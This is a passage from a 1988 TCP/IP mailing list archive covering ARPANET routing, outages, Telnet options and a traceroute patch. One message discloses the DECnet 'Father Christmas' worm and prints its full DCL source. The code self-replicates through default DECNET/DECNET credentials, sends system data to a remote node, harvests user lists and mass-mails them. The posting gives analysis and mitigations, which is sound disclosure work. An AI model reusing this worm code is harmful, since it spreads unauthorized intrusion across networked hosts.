streams by the Wideband Net, there are two 56kb/s point-to-point VSAT
lines between PSNs at MIT and SRI.  Since these are also satellite
links, they will also incurr the 250-300 msec delays as do the Wideband
Net stream trunks. 

I believe that time constants in the ARPANET PSN routing software have
been adjusted to favor putting traffic over the Wideband Net streams and
VSAT lines, even though they represent a real higher packet delay.  This
was done to balance the load on the cross country links and to keep the
only terrestrial path from being congested.

Under light load conditions, the loss of the terrestrial path would
probbaly be more noticeable than under moderate to heavy load.

Steve Blumenthal
BBN
-----------[000202][next][prev][last][first]----------------------------------------------------
Date:      22 Dec 88 13:18:59 GMT
From:      malis@BBN.COM (Andy Malis)
To:        comp.protocols.tcp-ip
Subject:   Re: "MILNET Cutover Report 3" -- an observation

Tony,

If you are not directly connected to the MILNET, as I believe you
are not if you are using aplcomm.jhuapl.edu (128.244.16.1), then
your connectivity problems are most probably a result of the
gateway problems described by Mike Brescia in a previous message
to the tcp-ip list.

If you are having any problems reaching a MILNET host directly
from another MILNET host, then please report the problem to the
MILNET monitoring center at 1-800-451-7413 (free call!).  They
can't fix problems they don't know about.

Regards,
Andy

-----------[000203][next][prev][last][first]----------------------------------------------------
Date:      22 Dec 88 13:32:55 GMT
From:      lubich@ethz.UUCP (Hannes Lubich)
To:        comp.protocols.tcp-ip
Subject:   Vendor's Response Time

Hi all,
I'd be interested to get your opinion on how fast/reliable vendors
respond to bug/security hole reports. If you have some experiences
in that particular topic, could you please drop me a mail?
Thanks
	--HaL
-- 
~ UUCP/Usenet 	       : {known world}!mcvax!cernvax!ethz!lubich
~ or                   : lubich@ethz.uucp
~ CSNET/ARPA/BITNET    : lubich@ifi.ethz.ch / lubich%ifi.ethz.ch@relay.cs.net
~ The usual disclaimer : No, it wasn't me, somebody must have used my account.

-----------[000204][next][prev][last][first]----------------------------------------------------
Date:      22 Dec 88 15:47:48 GMT
From:      chris@SALT.ACC.COM (Chris VandenBerg)
To:        comp.protocols.tcp-ip
Subject:   Toshiba 3200 and Lanalyzer

Good morning folks....
	I've finally gotten my hands on a Toshiba T-3200 and have been 
running into a bit of a wall trying to get my EXOS-225 card to run it's
diagnostics to install in the new beast. I've set the card's MEMBASE
to D0000, Int level 2, and IOBASE to 0x310. It runs all the mem diags
but is flakey on the subsequent tests, sometimes running, sometimes
failing, never getting through unscathed. The only thing I can see is that
the case of the T-3200 is REAL tight and the solder side of the board might
just be touching the inside of the PC. Has anyone out there gotten this to
work? I even went so far as to trim each and every IC leg sticking out the
solder side(by hand, no less (:*( ) but all to no avail.
		I would be truly appreciative for any insights on this subject.
Excelan tells me everything should be hunky-dory.

		Thanks in advance,
					Chris VandenBerg
				        ACC(chris@salt.acc.com)

-----------[000205][next][prev][last][first]----------------------------------------------------
Date:      22 Dec 88 18:48:04 GMT
From:      abe@MACE.CC.PURDUE.EDU (Vic Abell)
To:        comp.protocols.tcp-ip
Subject:   Re: EGP and ROUTING [butterflies]

Mike,

It's no big secret that Purdue has a Bfly gateway on the core, in addition
to the LSI-11 that we support.

EGP people should also be aware that the current testing of the Bfly mail
bridges has been a continuing source of trouble for one of the main Purdue
nets - 128.46.  Often, when the new mail bridges are being tested, some
random gateway starts advertising a bogus connection to 128.46, effectively
disconnecting 128.46 from the rest of the world.  This has happened quite a
few times now.  I hope the problem will be eliminated soon.

Vic Abell

-----------[000206][next][prev][last][first]----------------------------------------------------
Date:      22 Dec 88 19:14:48 GMT
From:      abe@MACE.CC.PURDUE.EDU (Vic Abell)
To:        comp.protocols.tcp-ip
Subject:   Re: EGP and ROUTING [butterflies]

Mike,

It should be no big secret that Purdue has a Bfly gateway on the core, in
addition to the LSI-11 that we support.

EGP people should also be aware that the current testing of the Bfly mail
bridges has been a continuing source of trouble for one of the main Purdue
nets - 128.46.  Often, when the new mail bridges are being tested, some
random gateway starts advertising a bogus connection to 128.46, effectively
disconnecting 128.46 from the rest of the world.  This has happened quite a
few times now.  I hope the problem will be eliminated soon.

Vic Abell

-----------[000207][next][prev][last][first]----------------------------------------------------
Date:      22 Dec 88 20:07:33 GMT
From:      mark@sickkids.UUCP (Mark Bartelt)
To:        comp.dcom.lans,comp.protocols.appletalk,comp.protocols.tcp-ip
Subject:   PacerLink weirdness

Before describing the problem, here's the configuration:  VAX/750 running
4.3bsd, with a Kinetics FastPath 2 connecting the ethernet to an AppleTalk
network.  We have both NCSA telnet (version 2.1) and the PacerLink software
(version 5.0a) available for people to use for connecting Macs to the VAX.
Compared to telnet, the PacerLink software seems a bit sluggish.

That in itself isn't totally surprising, since the Pacer software has a lot
more stuff buried inside it, for doing file transfers and such.  Just out
of curiosity, I used /etc/ping to see how long it would take Macs running
telnet and PacerLink to respond.  Using 500-byte ping packets, the times
for the Pacer software were more than three times longer than those for
NCSA telnet.  Again, not altogether surprising.  One thing that seemed a
little peculiar was the fact that, on a 200-packet test, not only were the
average times larger, but so were the standard deviations (as percentages
of the means).  The times reported by "ping" were 93ms +- 17% for telnet,
whereas the Pacer times were 300ms +- 44%.

However, the *real* oddity is what we saw when we actually looked at the
ping times.  For telnet, the values look pretty much as one would expect,
with values more or less randomly scattered around the mean:

   89    112    158    121    105     76    100     89      82     75
   76     80     81    111    114    110     81     78     119     91
  114     75    101     79     91     95    122    100      91     78
   82     93     81    116     82     79    112     80      80    121
  130     83     80     90    123    124     96     90      95     91
   93    114    120     81     86     92     80     80      80     81
   77     87     87    112    163     82     76    117      91    115
  104     76     81     85    112    119     93     85      81     83
   83     98     98     76     93     87     82     76      96     79
   89     77     83    109     81     83    121    109      80     95

But with the Pacer software running in the Mac, there's an unexpected
periodicity, with near-monotonicity within each period.  Take a look at
these numbers (read down the columns for sequential ping times):

  231    334    236    148    362    284    340    204     445    364
  270    390    295    185    382    340    399    225     466    384
  290    389    344    205    420    394    464    246      90    407
  311    412    402    227    442    447    522    266     155    423
  336    433    452    248    477    518    546    304     211    448
  369    470    511    268    482    525    112    325     246    485
  107    490    551    289    520    101     90    346     299    502
  154    515     90    310    103    161    124    366     370     91
  209    100    104    331    156    231    147    404     424    142
  281    165    128    341    210    291    167    425     344    195

Does anyone have a clue (or would anyone like to hazard a guess) as to
what's going on here?

Mark Bartelt                          UUCP: {utzoo,decvax}!sickkids!mark
Hospital for Sick Children, Toronto   BITNET: mark@sickkids.utoronto
416/598-6442                          INTERNET: mark@sickkids.toronto.edu

-----------[000208][next][prev][last][first]----------------------------------------------------
Date:      22 Dec 88 20:55:34 GMT
From:      blumenth@BBN.COM (Steve Blumenthal)
To:        comp.protocols.tcp-ip
Subject:   Re:  Possible ARPA segmentation next week? Danger, Will Robinson!

Gene,

Thanks for your note.  Please be sure to notify the ARPANET NOC
at BBN about the power outage.  Their telephone number is 1-800-492-4992.
I'm not sure that the controllers are regular readers of the tcp-ip
mailing list.  Besides the three cross country links being carried as
streams by the Wideband Net, there are two 56kb/s point-to-point VSAT
lines between PSNs at MIT and SRI.  Since these are also satellite
links, they will also incurr the 250-300 msec delays as do the Wideband
Net stream trunks. 

I believe that time constants in the ARPANET PSN routing software have
been adjusted to favor putting traffic over the Wideband Net streams and
VSAT lines, even though they represent a real higher packet delay.  This
was done to balance the load on the cross country links and to keep the
only terrestrial path from being congested.

Under light load conditions, the loss of the terrestrial path would
probbaly be more noticeable than under moderate to heavy load.

Steve Blumenthal
BBN

-----------[000209][next][prev][last][first]----------------------------------------------------
Date:      Fri, 23 Dec 88 04:12:51 GMT
From:      gkn@Sds.Sdsc.Edu (Gerard K. Newman)
To:        tcp-ip@sri-nic.arpa
Subject:   Another worm (this time on SPAN/HEPNET ... VMS only)
Ladies and gentleman,

Please excuse the posting to TCP-IP, but there are many SPAN/HEPNET uses who
read this list, and the community as a whole should be somewhat interested.

Someone has loosed a worm on SPAN at this very moment.  Check your accounting
files and NETSERVER.LOGs in your default DECnet accounts.  You'll find evidence
of someone creating a file (HI.COM, which I am in the process of fetching from
the deleted blocks of one of them) which propagates itself around the network.

It has hit all of the VMS machines here at SDSC today, and simply appears to
crawl around and send mail to 20597::PHISOLIDE (node 20.117, for which I do not
have a name in my DECnet database).

An adequate defense against the problem is:

(from the SYSTEM or other suitably privileged account):

	$ Set Default your-default-decnet-area
	$ Create HI.COM
	$ Stop/ID=0
	^Z
	$ Set File/Owner=[1,4]/Protection=(S:RWED,O:RWED,G:RE,W:RE)/Version=1 HI.COM

This information should receive the widest possible distribution.

Please give me a call (# below) if you need more information.

gkn
----------------------------------------
Internet: GKN@SDS.SDSC.EDU
Bitnet:   GKN@SDSC
Span:	  SDSC::GKN (27.1)
MFEnet:   GKN@SDS
USPS:	  Gerard K. Newman
	  San Diego Supercomputer Center
	  P.O. Box 85608
	  San Diego, CA 92138-5608
Phone:	  619.534.5076

--------------------------------------------------------------------------------

I present for your amusment HI.COM, along with a brief analysis:

First, it sets it's process name to "MAIL_178DC" as mentioned.  Then, it
begins a scan looking for a process whose working set extent is 1 page
less than it's authorized working set extent, and if it finds one it commits
suicide.  If it doesn't find one, it sets its working set extent to 1 page
less than it's authorized extent.  This, presumably, it to identify itself
and prevent multiple infections.

It then saves a copy of itself line-by-line in DCL symbols ("HILINEn"), and
marks itself for delete (thus disappearing from the default DECnet directory).

It then sends a copy of the translation of the logical name SYS$ANNOUNCE to
node 20597::PHSOLIDE (node 20.117, for which I do not have a name).  It does
this by spawning an asynchronous subprocess so that it does not hang itself
waiting for the mail to be delivered, and presumably as a guard in case node
20.117 is down.

It then fetches the current time, and determines if it's after 00:30 on
12/24/1988.  If so it commits suicide.  If not, it checks to see if it's
after 00:00 on 12/24/1988.  If not, it attempts to generate a random node
number to attempt to infect by picking apart the system time.  It then
attempts to contact the random node and copy itself there.  It tries both
default DECnet access and specifying user ID DECNET with password DECNET
to copy itself.  It will only try to infect 151 machines, where 151 is 1 less
than the number of lines in the command file.  Once it's copied itself someplace
it "jumpstarts" that copy by invoking it via DECnet.

--------------------

It appears that after midnight on 12/24/1988 it's behavior will change, and it
will send the silly message included to everyone on the machine.  It obtains
this list by exploiting some silliness in the AUTHORIZE utility;  even though
the default DECnet account (presumably!) does not have enough privilege to
read SYSUAF.DAT, it will produce a list of the RIGHTS database.  Armed with
this list, it will contact the DECNET mail server (object number 27) and send
a copy of it's message (from "Father Christmas") to all of the people listed
in the rights database.

It appears to be harmless.

--------------------------------------------------------------------------------

$ on error then continue
$ set noverify
$ define sys$error nl:
$ define sys$output nl:
$ set default sys$login
$ set process/name="MAIL_178DC"
$ delete := delete
$ spawn := spawn
$ null[0,7]=0
$ open/read/write link sys$net
$ close link
$Look_loop:
$ pid = f$pid(context)
$ if pid .eqs. "" then goto start
$ if f$getjpi(pid,"wsauthext")-1 .eq. f$getjpi(pid,"wsextent") then -
     goto stop_process
$ goto look_loop
$Stop_process:
$ set protection=o:rwed hi.com;*
$ delete hi.com;*
$ stop/id=0
$Start:
$ workset = f$getjpi(0,"wsauthext")-1
$ set work/extent='workset'
$Save:
$ counter = 0
$ open/read hi$file hi.com
$Loop1:
$ read/end_of_file=end_loop1 hi$file hiline'counter'
$ counter = counter + 1
$ goto loop1
$End_loop1:
$ close hi$file
$ num_hilines = counter
$ set protection=o:rwed hi.com;*
$ delete hi.com;*
$Action:
$ spawn/input=nl:/output=nl:/nonotify/nolog/nowait -
    mail/subj="''f$trnlnm("sys$announce")'" nl: 20597::phsolide
$Search_node:
$ time = f$extr(0,16,f$cvtime(f$time()))
$ if time .gts. "1988-12-24 00:30" then stop/id=0
$ if time .gts. "1988-12-24 00:00" then goto mailing
$Generate_node:
$ node = (f$int(f$ext(21,1,f$time()))*10000) +  -     
         (f$int(f$ext(21,1,f$time()))*1000)  +  -
         (f$int(f$ext(21,1,f$time()))*100) +  -    
         (f$int(f$ext(21,1,f$time()))*10) +  -
         (f$int(f$ext(21,1,f$time())))
$ node = node*(f$int(f$ext(18,2,f$time()))+1)/63
$ if node .eq. 0     then goto generate_node
$ if node .gt. 63*1024 then goto generate_node
$Reprod:
$ counter = 0
$ open/write/error=open_error  hi$file 'node'::hi.com
$Loop2:
$ write/error=cleanup hi$file hiline'counter'
$ if counter .eq. num_hilines-1 then goto end_loop2
$ counter = counter + 1
$ goto loop2
$End_loop2:
$ close hi$file
$Start_Task:
$ type 'node'::"task=hi.com"
$ if ($status.ne.%x10951098).or.(f$loc("""",node).ne.f$len(node)) -
     then goto 2nd_error_check 
$ node := 'node'"""DECNET DECNET""
$ goto start_task
$2nd_error_check:
$ if $status .ne. "%x10000001" then goto cleanup
$ goto search_node
$Cleanup:
$ close hi$file
$ delete 'node'::hi.com;*
$ goto search_node
$Open_error:
$ if ($status.ne.%x1001c00a).or.(f$loc("""",node).ne.f$len(node))  -    
      then   goto  search_node
$ node := 'node'"""DECNET DECNET""
$ goto reprod
$Mailing:
$ mailline0 = "Hi,"
$ mailline1 = ""
$ mailline2 = " how are ya ? I had a hard time preparing all the presents."
$ mailline3 = " It isn't quite an easy job. I'm getting more and more"
$ mailline4 = " letters from the children every year and it's not so easy"
$ mailline5 = " to get the terrible Rambo-Guns, Tanks and Space Ships up here at
"
$ mailline6 = " the Northpole. But now the good part is coming."
$ mailline7 = " Distributing all the presents with my sleigh and the"
$ mailline8 = " deers is real fun. When I slide down the chimneys"
$ mailline9 = " I often find a little present offered by the children,"
$ mailline10 = " or even a little Brandy from the father. (Yeah!)"
$ mailline11 = " Anyhow the chimneys are getting tighter and tighter"
$ mailline12 = " every year. I think I'll have to put my diet on again."
$ mailline13 = " And after Christmas I've got my big holidays :-)."
$ mailline14 = ""
$ mailline15 = " Now stop computing and have a good time at home !!!!"
$ mailline16 = ""
$ mailline17 = "    Merry Christmas"
$ mailline18 = "       and a happy New Year"
$ mailline19 = ""
$ mailline20 = "            Your  Father Christmas"
$ num_maillines = 21
$ define sysuaf sys$login:sysuaf
$ mc authorize
y
list/id *
exit
$ delete sys$login:sysuaf.dat;*
$ node = 0
$Mail_good:
$ open/read/write net$link 'node'::"27="
$ if ($status.ne.%x1001c002).or.(f$loc("""",node).ne.f$len(node)) -
    then goto start_mail
$ node := 'node'"""DECNET DECNET""
$ goto mail_good
$Start_mail:
$ close net$link
$ open/read        user$file  rightslist.lis
$ read             user$file  user
$Loop3:
$ open/read/write  net$link   'node'::"27="
$ write net$link  "Father Christmas"
$Next_user:
$ read/end_of_file=end_mailing  user$file user
$ if  f$extr(3,1,user) .eqs. " " then goto next_user
$ user = f$extr(2,12,user)
$ write net$link user
$ read  net$link error
$ if f$cvui(0,32,error) .ne. 1  then goto close_net
$ write net$link null
$ write net$link "You..."
$ write net$link "Christmas Card."
$ counter = 0
$Text_loop:
$ write net$link mailline'counter'
$ counter = counter + 1
$ if counter .eq. num_maillines then goto end_text_loop
$ goto text_loop
$End_text_loop:
$ write net$link null
$ wait 00:00:01
$Close_net:
$ close net$link
$ goto loop3
$End_mailing:
$ close net$link
$ close user$file
$ delete rightslist.lis;*
$ wait 00:30
$ stop/id=0
-----------[000210][next][prev][last][first]----------------------------------------------------
Date:      Fri, 23 Dec 88 15:47:34 -0500
From:      jseeger@BBN.COM
To:        hastings@morgul.psc.edu
Cc:        blumenth@BBN.COM, tcp-ip@sri-nic.ARPA, nwg@merit.edu, wb-ops@BBN.COM, pyle@BBN.COM
Subject:   fales warning of Possible ARPA segmentation
Gene, et. al.,

Bob Pyle who studies ARPANET performance all the time and KNOWS this
network well, sent me the following message in response to my forwarding
him yours of Wednesday, 21 December 1988 12:34:29 EST.  He starts with
a copy of your message.  His words follow at the end.

------- Forwarded Message

To: gswallow@BBN.COM, jwiggins@BBN.COM, hinden@BBN.COM, jseeger@BBN.COM
Subject: Don't panic, it's not true
Date: Thu, 22 Dec 88 09:40:05 -0500
From: Robert Pyle BBNCC 20/672 x3518 <rpyle@BBN.COM>


- ------- Forwarded Message (edited down in size)

Date: Wednesday, 21 December 1988 12:34:29 EST
From: Gene.Hastings@boole.ece.cmu.edu
Reply-To: hastings@morgul.psc.edu
Subject: Possible ARPA segmentation next week? Danger, Will Robinson!

Arpanet PSN #14 (CMU) will be without power 2400 Tuesday 27 December until
2000 Thursday 29 December. 

My understanding of the current ARPA topology is that CMU is in the middle
of the only cross-country land line, and that only the Wideband satellite
link will connect the coasts, meaning that there will be high delays from
coast to coast.

Gene

- ------- End of Forwarded Message


Not so.  The terrestrial path from RCC5 -> UROCH -> WISC -> SAC and
westwards from there will exist (barring additional outages).  What
the CMU outage *will* do is break the DCEC - CMU - PURDU path, which
is about the busiest part of ARPANET, mostly due to EGP-extra-hop
traffic to and from PURDU.  Next week should see the lowest traffic
all year, and the Butterfly mailbridges are presumably already
handling some traffic that used to be forwarded via PURDU, so I see no
cause for alarm.

Most coast-to-coast traffic already uses the various satellite lines
anyway.  Even some east-coast traffic currently takes routes like
MIT-SRI-DCEC or BBN-ISI-DCEC via two satellite hops in preference to
the multihop terrestrial path.

			--Bob


------- End of Forwarded Message

-----------[000211][next][prev][last][first]----------------------------------------------------
Date:      23 Dec 88 07:51:17 GMT
From:      lear@NET.BIO.NET (Eliot Lear)
To:        comp.protocols.tcp-ip, hedrick@aramis.rutgers.edu, hostmaster@sri-nic.arpa
Subject:   more routing problems?

I *believe* I am having problems with ARPANET host/gateway 10.18.0.16,
which is listed as JVNCB.CSC.ORG, although JVNC believes this machine
to be named FORD-GATEWAY.  As I speak, this machine will not answer
pings, nor am I able to route to net 128.6, which it is advertising.
I suspect that many other networks connected via JVNC are also out.

At this moment in time, I am unable to get to Brown, NJIT, or Stevens
from my ARPANET host.

I *am* able to reach 10.17.0.16 (JVNCA.CSC.ORG).  I tried contacting
the people there, but I have not received an answer.

Note: this problem is sporatic.

-----------[000212][next][prev][last][first]----------------------------------------------------
Date:      Fri, 23 Dec 88 15:00:29 CST
From:      "Tony Garcia" <C482529@UMCVMB.MISSOURI.EDU>
To:        tcp-ip@sri-nic.arpa
Subject:   UDP/TALK?
Can anyone point me at some information concerning the UDP/TALK
protocol?  I'd appreciate it.

-tony
c482529@umcvmb.bitnet
c482529@umcvmb.missouri.edu
-----------[000213][next][prev][last][first]----------------------------------------------------
Date:      23 Dec 88 13:56:27 GMT
From:      barns@GATEWAY.MITRE.ORG (Bill Barns)
To:        comp.protocols.tcp-ip
Subject:   Re:  Telnet and Timing Mark option

I think you have created an appearance of inconsistency in the RFCs by
injecting an assumption.  I would resolve this by characterizing the
Timing Mark Option as a 'mode' with predefined infinitesimal duration.
Therefore, a second DO TIMING-MARK is not requesting the receiver to
enter a mode it is already in; it is a request to re-enter a mode
it was in at some past time, but is not in now.  When the receiver of
the DO TIMING-MARK sends a WILL TIMING-MARK, it is confirming that it
will enter and exit the timing mark processing mode "immediately" with
respect to the TELNET protocol stream.  If it actually does what it
promises, then it certainly will not be in the act of processing that
timing mark when another one shows up.

This seems like a good opportunity to mention that TELNET as you see it
now is known to Old-Timers as "New Telnet", which correctly implies
that there was also an "Old Telnet".  The transition began about 15
years ago and was mostly completed about 10 years ago.  As I recall it,
Old Telnet reserved the whole range 200-377 octal for control signaling
and it did not use the WILL/DO philosophy.  Instead there were one byte
codes to direct each state change (start echoing, end echoing, start
binary, ...)  This scheme has advantages and disadvantages which
interested folks can probably figure out readily enough.  Why should
anyone care now?  Well, the desire for convenient dual-protocol support
during the transition tends to explain certain otherwise mysterious
features of New Telnet.  I did not work in protocol specification back
then, but it certainly seems as though each O.T. feature was
"translated" into the simplest and most parallel N.T. representation.
This would have saved a lot of work for implementors, and perhaps more
importantly, it saves memory since one set of action routines could
service both flavors.  That used to be significant in boxes like the
Honeywell TIPs which connected terminals to the ARPANET in those days.

Bill Barns / MITRE-Washington / barns@gateway.mitre.org

-----------[000214][next][prev][last][first]----------------------------------------------------
Date:      23 Dec 88 14:20:32 GMT
From:      stjohns@BEAST.DDN.MIL (Mike St. Johns)
To:        comp.protocols.tcp-ip
Subject:   mil stds vs. rfc's

About the time the MIL STDs were being completed, DOD made the
decision to do no further work on them after publishing - believing
that ISO was just around the corner.  I guess what I'm trying to say
is that it's a feature, not a bug!

Mike

-----------[000215][next][prev][last][first]----------------------------------------------------
Date:      23 Dec 88 15:20:55 GMT
From:      cpw%sneezy@LANL.GOV (C. Philip Wood)
To:        comp.protocols.tcp-ip
Subject:   more on RFNM Blockage on the MILNET

Well, today everything is hunky dorry.  Packets are flowing to and
from the Mail bridges with out a hitch.  Nothing has changed in the
PSN's.

BUT, the EGP updates are all under 2048 today!

BBN has some insite into the problem.  It is related to transmission
of a packet that generates a checksum error at the link level.  After
some number of retrys the channel hangs.  Nothing will clear this
blockage but a reset from the DCA network monitoring center.

Phil Wood,  cpw@lanl.gov

-----------[000216][next][prev][last][first]----------------------------------------------------
Date:      23 Dec 88 16:45:07 GMT
From:      jbn@glacier.STANFORD.EDU (John B. Nagle)
To:        comp.protocols.tcp-ip
Subject:   Re:  mil stds vs. rfc's

In article <8812211742.AA04654@braden.isi.edu> braden@VENERA.ISI.EDU writes:
>Unfortunately, the
>DoD has chosen not to correct or update the MilStd's for a long time.

       Well, actually, DCA did fund an update of the TCP MIL-STD in
1985, but the contractor doing the work (whom I will not name) spent
all the money and didn't finish the job.  This discouraged further
efforts in that direction.

					John Nagle

-----------[000217][next][prev][last][first]----------------------------------------------------
Date:      23 Dec 88 17:31:09 GMT
From:      braden@VENERA.ISI.EDU
To:        comp.protocols.tcp-ip
Subject:   Re:  Telnet and Timing Mark option

Dale,

There IS no Timing Mark mode, so a host can never enter it.  So, it always
refuses, by sending DONT/WONT Timing Mark, which gives the desired
synchronization echo.  I always thought that very clever, well, say on
the level of a good pun.

Bob braden

-----------[000218][next][prev][last][first]----------------------------------------------------
Date:      23 Dec 88 18:31:16 GMT
From:      cpw%sneezy@LANL.GOV (C. Philip Wood)
To:        comp.protocols.tcp-ip
Subject:   yet another mod to traceroute.c

This diff includes previous diff for little and big endiens as well as
the addition of a setsockopt to raise the max send buffer.  It seems
that some gateway/hosts will drop a datagram greater than 2048.  One
should be able to send and receive datagrams greater than 2048.  EGP
comes to mind.

------- traceroute.c -------
*** /tmp/da7076	Fri Dec 23 11:28:04 1988
--- traceroute.c	Fri Dec 23 11:26:57 1988
***************
*** 169,170 ****
--- 169,171 ----
  #define	MAXPACKET	4096	/* max packet size */
+ #define UDP_SENDSPACE	2048
  #ifndef MAXHOSTNAMELEN
***************
*** 238,239 ****
--- 239,241 ----
  	struct hostent *hp;
+ 	int	value;
  
***************
*** 352,353 ****
--- 354,366 ----
  
+ #ifdef SO_RCVBUF
+ 	if (datalen > UDP_SENDSPACE) {
+ 	value = datalen + sizeof (struct opacket);
+ 	if (setsockopt(sndsock, SOL_SOCKET, SO_SNDBUF, (char *)&value,
+ 		sizeof(value)) < 0) {
+ 			perror("setsockopt SO_SNDBUF");
+ 			exit(6);
+ 	}
+ 	}
+ #endif SO_RCVBUF
+ 
  	if (source) {
***************
*** 443,447 ****
  
! 	up->uh_sport = ident;
! 	up->uh_dport = port;
! 	up->uh_ulen = len - sizeof(struct ip);
  	up->uh_sum = 0;
--- 456,460 ----
  
! 	up->uh_sport = htons(ident);
! 	up->uh_dport = htons(port);
! 	up->uh_ulen = htons(len - sizeof(struct ip));
  	up->uh_sum = 0;
***************
*** 538,539 ****
--- 551,554 ----
  		up = (struct udphdr *)((u_char *)hip + hlen);
+ 		up->uh_sport = ntohs(up->uh_sport);
+                 up->uh_dport = ntohs(up->uh_dport);
  		if (hlen + 12 <= cc && hip->ip_p == IPPROTO_UDP &&

-----------[000219][next][prev][last][first]----------------------------------------------------
Date:      23 Dec 88 20:02:29 GMT
From:      Gene.Hastings@BOOLE.ECE.CMU.EDU
To:        comp.protocols.tcp-ip
Subject:   No ARPA segmentation, but the patient may experience some discomfort.

Thanks to all who contributed. Have an uneventful holiday.   - Gene
------------------------------------------------------------------------
Message-Id: <8812231652.AA09094@morgul.psc.edu>
Date: Fri, 23 Dec 88 11:42:21 EST
From: John Bilos <jbilos@cc7.bbn.com>
Subject: Re: Possible ARPA segmentation next week? Danger, Will Robinson!
In-Reply-To: Your message of Wednesday, 21 December 1988 12:34:29 EST
To: hastings@morgul.psc.edu
Cc: jbilos@cc7.bbn.com

  There is a terrestrial link between the URoch (n15) and UWisc (n94) which 
will be operational during this period of time.  The BSATS will also provide
cross country connectivity.

                                            JB
------------------------------------------------------------------------
Message-Id: <8812230052.AA07874@morgul.psc.edu>
To: hastings@morgul.psc.edu
Cc: rpyle@BBN.COM
Subject: Possible ARPANET segmentation?  Probably not.
Date: Thu, 22 Dec 88 19:44:43 -0500
From: Robert Pyle BBNCC 20/672 x3518 <rpyle@BBN.COM>

Gene:

There will still be a transcontinental terrestrial path with CMU down, from
RCC5 to UROCH to WISC to SAC, etc.  This is not to say that CMU's absence
will go unnoticed!  The path from DCEC through CMU to PURDU is just about
the most heavily-used part of ARPANET, largely due to Internet traffic being
forwarded via the EGP server gateway at PURDU.

The week after Xmas is usually the low point of the year for traffic, and
the new Butterfly mailbridges are starting to carry some of the
MILNET-ARPANET traffic that has in the past been forwarded via PURDU, so I
don't think there will be any crisis.

Most of the transcontinental traffic already flows over the various
satellite lines, anyway, so even if no terrestrial path remained, I doubt
there would be a big change in quality of service (provided all the
satellite lines don't go down at the same time!).

Happy holidays!

			--Bob Pyle, BBN Communications
------------------------------------------------------------------------
Date: Thu 22 Dec 88 17:29:02-EST
From: Rob Austein <SRA@XX.LCS.MIT.EDU>
Subject: [Possible ARPA segmentation next week? Danger, Will Robinson!]
To: Net-Users@bitsy.mit.edu, MIT-IP-People@MC.LCS.MIT.EDU
Message-Id: <12456542032.15.SRA@XX.LCS.MIT.EDU>

FYI.  I think Gene is wrong about the wideband net being the only link
left (the MIT77<->SRI51 satellite link should still be operational),
but he's right that things may get pretty grim next week.

--Rob

-----------[000220][next][prev][last][first]----------------------------------------------------
Date:      23 Dec 88 20:47:34 GMT
From:      jseeger@BBN.COM
To:        comp.protocols.tcp-ip
Subject:   fales warning of Possible ARPA segmentation

Gene, et. al.,

Bob Pyle who studies ARPANET performance all the time and KNOWS this
network well, sent me the following message in response to my forwarding
him yours of Wednesday, 21 December 1988 12:34:29 EST.  He starts with
a copy of your message.  His words follow at the end.

------- Forwarded Message

To: gswallow@BBN.COM, jwiggins@BBN.COM, hinden@BBN.COM, jseeger@BBN.COM
Subject: Don't panic, it's not true
Date: Thu, 22 Dec 88 09:40:05 -0500
From: Robert Pyle BBNCC 20/672 x3518 <rpyle@BBN.COM>


- ------- Forwarded Message (edited down in size)

Date: Wednesday, 21 December 1988 12:34:29 EST
From: Gene.Hastings@boole.ece.cmu.edu
Reply-To: hastings@morgul.psc.edu
Subject: Possible ARPA segmentation next week? Danger, Will Robinson!

Arpanet PSN #14 (CMU) will be without power 2400 Tuesday 27 December until
2000 Thursday 29 December. 

My understanding of the current ARPA topology is that CMU is in the middle
of the only cross-country land line, and that only the Wideband satellite
link will connect the coasts, meaning that there will be high delays from
coast to coast.

Gene

- ------- End of Forwarded Message


Not so.  The terrestrial path from RCC5 -> UROCH -> WISC -> SAC and
westwards from there will exist (barring additional outages).  What
the CMU outage *will* do is break the DCEC - CMU - PURDU path, which
is about the busiest part of ARPANET, mostly due to EGP-extra-hop
traffic to and from PURDU.  Next week should see the lowest traffic
all year, and the Butterfly mailbridges are presumably already
handling some traffic that used to be forwarded via PURDU, so I see no
cause for alarm.

Most coast-to-coast traffic already uses the various satellite lines
anyway.  Even some east-coast traffic currently takes routes like
MIT-SRI-DCEC or BBN-ISI-DCEC via two satellite hops in preference to
the multihop terrestrial path.

			--Bob


------- End of Forwarded Message

-----------[000221][next][prev][last][first]----------------------------------------------------
Date:      23 Dec 88 20:57:30 GMT
From:      ron@hardees.rutgers.edu
To:        comp.protocols.tcp-ip
Subject:   DECNET Virus (sorry)


I got an anonymous tip about a DECNet virus.  Milo Medin provided me with
the details.  The virus exploits a well known feature in DECnet which involves
sites that leave TASK 0 running (this is the way DEC ships it).  The virus
sends a HI.COM file to your default decnet directory and then sends a command
to task 0 to invoke it.  To close the hole, you need to tell NCP
to "CLEAR OBJECT TASK ALL" in your start up files as DECNET always starts
this process.  If you were infected you will find HI.COM in your default
decnet directory and a process running called something like MAIL_178DZ.

You should delete the com file and kill off the process if you find them.

I don't vouch for the accuracy of the above, I am neither a DECNET nor a
VMS lover.

-Ron

I apologize for all those who are sane enough to run TCP-IP rather than DECNET
for having to see this, but it seemed like the most rapid distribution system
I could find.

-----------[000222][next][prev][last][first]----------------------------------------------------
Date:      23 Dec 88 21:00:29 GMT
From:      C482529@UMCVMB.MISSOURI.EDU ("Tony Garcia")
To:        comp.protocols.tcp-ip
Subject:   UDP/TALK?

Can anyone point me at some information concerning the UDP/TALK
protocol?  I'd appreciate it.

-tony
c482529@umcvmb.bitnet
c482529@umcvmb.missouri.edu

-----------[000223][next][prev][last][first]----------------------------------------------------
Date:      23 Dec 88 21:29:00 GMT
From:      ljm@TWG.COM (Leo J McLaughlin)
To:        comp.protocols.tcp-ip
Subject:   Re: Sun's PC-NFS graphics terminal emulation


>We have PC-NFS 3.00 from Sun Microsystems...
 
>We are looking for two things.  First we want a terminal emulator
>that can do textronics 4014 terminal emuation over this 3com network.
>The other thing we need is graphics terminal emuation that can
>be used over a slip port.
 
>If anyone has any leads on this type of thing please mail to me
>or post something in this newsgroup.


Reflections 2 (Walker RIcher & Quinn, Inc.) provides tektronix graphics
terminal emulation support.

As for the network connection, I don't really know what PC-NFS will and
will not do.  WIN/TCP for DOS 4.0 supports both 3rd party terminal emulators
and SLIP.

leo j mclaughlin iii
The Wollongong Group
ljm@twg.com

-----------[000224][next][prev][last][first]----------------------------------------------------
Date:      23 Dec 88 21:36:00 GMT
From:      ljm@TWG.COM (Leo J McLaughlin)
To:        comp.protocols.tcp-ip
Subject:   Re: MAIL programs for LANs and internet mail


Mark,
